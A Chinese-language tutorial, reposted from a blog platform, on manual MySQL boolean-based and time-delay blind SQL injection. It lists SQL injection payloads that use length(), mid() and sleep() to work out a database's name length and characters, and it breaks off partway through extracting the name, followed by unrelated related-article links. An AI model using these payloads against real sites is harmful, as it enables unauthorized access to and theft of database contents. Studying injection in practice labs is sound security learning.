十几分钟让你学会MySQL布尔和延迟盲注手工操作
作者:Max老白Gān丶
链接:http://www.lofter.com/lpost/1fefbc76_12d25dc31
来源:LOFTER
- 注入常用到的几个函数
- 1
mid(str,1,3)
字符串获取
这里我们要看到123456789 从第一个字节也就是1开始获取到3就截止了 - 1
ORD()
转换为ASCII码
我们看到这里把a转换成了97 我们去看对照表 - 1
Length()
统计字节长度
- 1
version()
查看数据库版本
- 1
database
()
查看数据库
- 1
user
()
查看当前用户
首先我们确定注入了验证要先获取数据库长度
1
2
|
’ and length( database ()) ’ or length( database ()) |
我们先看一下数据库中sqltest长度【其实就是7个】
小知识点:有数据用and 没数据用or
1
|
|
1
|
’ and length( database ()) >1 #: |
意思是数据库的长度是否大于1没有变化以此类推
发现变换
这时候我们要确定他到底是多少字节
1
|
|
他等于8吗?不等于
他等于6吗?不等于
他等于7返回正确页面说明他的字节是7
现在我们获取数据库名字:
1
|
|
1
|
mid( database (),1,1) = '1' |
:它的意思是从第一个获取每次只取一个 它等于1吗?
很显然不等
然后修改后面的以此类推我们试到
1
|
|
返回true的正确页面
如果我们想获取第二位第三位怎么办?
1
2
3
4
5
6
7
|
mid( database (),2,1) mid( database (),3,1) mid( database (),4,1) mid( database (),5,1) mid( database (),6,1) mid( database (),7,1) |
剩下的我就不一一获取了学习这样方式就明白了。
延时注入方法:
常用的判断语句:
1
2
3
4
5
6
7
8
9
|
' and if(1=0,1, sleep(10)) --+ " and if(1=0,1, sleep(10)) --+ ) and if(1=0,1, sleep(10)) --+ ' ) and if(1=0,1, sleep(10)) --+ ") and if(1=0,1, sleep(10)) --+ |
为什么我和布尔注入写在一个文章里面哪?因为他们操作的流程是差不多的。
延时了10秒确定存在注入。
获取数据库长度利用上面的知识:
1
|
' and if(length( database ())=9,sleep(10),1) --+ |
意思是如果数据过长度等于9他就延时10秒
1
|
' and if(length( database ())<6,sleep(10),1) --+ |
如果一开始不知道他长度可以用这个大致判断的长度然后用上面的等于确定
长度小于6吗?没有延迟不小于6
小于9吗?
延迟成功表名数据库小于9 也就是说数据库长度在6-9之间
1
|
' and if(length( database ())=7,sleep(10),1) --+ |
一 一测试我们确定长度是7
获取数据库名字:
1
|
|
十几分钟让你学会MySQL布尔和延迟盲注手工操作的更多相关文章
- mysql基于“时间”的盲注
无需页面报错,根据页面响应时间做判断! mysql基于时间的盲注 =================================================================== ...
- DVWA-基于布尔值的盲注与基于时间的盲注学习笔记
DVWA-基于布尔值的盲注与基于时间的盲注学习笔记 基于布尔值的盲注 一.DVWA分析 将DVWA的级别设置为low 1.分析源码,可以看到对参数没有做任何过滤,但对sql语句查询的返回的结果做了改变 ...
- Bugku-CTF之login3(SKCTF)(基于布尔的SQL盲注)
Day41 login3(SKCTF)
- MYSQL注入天书之盲注讲解
Background-2 盲注的讲解 何为盲注?盲注就是在sql注入过程中,sql语句执行的选择后,选择的数据不能回显到前端页面.此时,我们需要利用一些方法进行判断或者尝试,这个过程称之为盲注.从ba ...
- [MYSQL手工注入](2)基于布尔的SQL盲注实战
0x02 MYSQL 手工注入实战--基于布尔的SQL盲注 前言,之前有对MYSQL基于报错的手工注入进行过介绍,但今天的实验环境,并不是基于报错的SQL注入,而是一个基于布尔的SQL盲注测试流程. ...
- 盲注----基于布尔的SQL盲注
构造逻辑判断常用字符串截取函数http://www.cnblogs.com/yyccww/p/6054569.html常用函数left(a,b) 从左侧截取a的前b位right(a,b) 从右侧截 ...
- Sqli-LABS通关笔录-5[SQL布尔型盲注]
/* 请为原作者打个标记.出自:珍惜少年时 */ 通过该关卡的学习我掌握到了 1.如何灵活的运用mysql里的MID.ASCII.length.等函数 2.布尔型盲注的认识 3.哦,对了还有.程序 ...
- 半天做完的数据报表,YonBuilder只要十几分钟,0代码开发
进入数字化时代,拍脑袋的决策方式显然不靠谱,一切要靠数据说话.与信息化时代相比,数字化时代的企业对数据的应用更广泛.更深入.为了应对激烈的市场竞争,企业经营决策者们对数据的依赖度越来越高,企业各个业务 ...
- 【转载】一个小时学会MySQL数据库
一个小时学会MySQL数据库 目录 一.数据库概要 1.1.发展历史 1.1.1.人工处理阶段 1.1.2.文件系统 1.1.3.数据库管理系统 1.2.常见数据库技术品牌.服务与架构 1.3.数 ...
随机推荐
- (详细)华为P8 GRA-UL00的Usb调试模式在哪里开启的方法
经常我们使用Pc通过数据线连接上安卓手机的时候,如果手机没有开启usb开发者调试模式,Pc则没能够成功检测到我们的手机,有时候我们使用的一些功能较强的应用软件好比之前我们使用的一个应用软件引号精灵,老 ...
- centos7系统部署cobbler批量安装系统
系统环境: 一.开启两个网卡.一个仅主机模式,一个桥接模式,主机模式对内提供cobbler服务 [root@localhost ~]# ip a 1: lo: <LOOPBACK,UP,LOWE ...
- elemet-ui图标—特殊字符的unicode编码表
https://blog.csdn.net/lurr88/article/details/79754811
- PHP获取服务器IP和客户端IP
<?php echo '前端机IP:'.$_SERVER['REMOTE_ADDR']; echo '<br />'; echo '后端机IP:'.$_SERVER['SERVER_ ...
- ef core自动映射
原回答:https://stackoverflow.com/questions/26957519/ef-core-mapping-entitytypeconfiguration 一.反射 protec ...
- AWS S3服务使用
AWS S3是亚马逊的一种文件存储服务使用方便. 一.配置服务 public static class AWS_S3ClientInfo { private static readonly strin ...
- Istio 是什么?
使用云平台可以为组织提供丰富的好处.然而,不可否认的是,采用云可能会给 DevOps 团队带来压力.开发人员必须使用微服务以满足应用的可移植性,同时运营商管理了极其庞大的混合和多云部署.Istio 允 ...
- html动画实现
1.目标动图 2.主要代码 <p><img src="http://img.baidu.com/hi/jx2/j_0043.gif"/><img sr ...
- python3_猜数字
import random count = 0while count<3: count +=1 number = int(input("猜数字:").strip()) num ...
- Unreal 4 error 记录
1.打包出来的exe,黑屏 这种最大的可能是在“地图&模式中”将 Default Maps设置为自己的map,注意这里分为Editor Startup Map和Game Default Map ...